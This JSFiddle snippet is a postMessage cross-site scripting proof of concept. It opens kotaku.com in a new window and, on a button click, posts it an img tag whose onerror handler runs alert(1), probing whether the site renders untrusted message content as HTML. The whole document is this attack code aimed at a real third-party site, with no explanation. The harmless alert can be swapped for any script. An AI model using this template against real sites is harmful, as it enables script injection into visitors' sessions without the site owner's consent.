JSFiddle - React, Tailwind, and code Playground

by p337

HTML

<button id="sendMsg">send</button>

JavaScript

var domain = 'http://kotaku.com/';

var win = window.open(domain);
//wait till it loads

$('#sendMsg').click(function () {
    win.postMessage('<img src="a" onerror="alert(1)"/>', domain);
});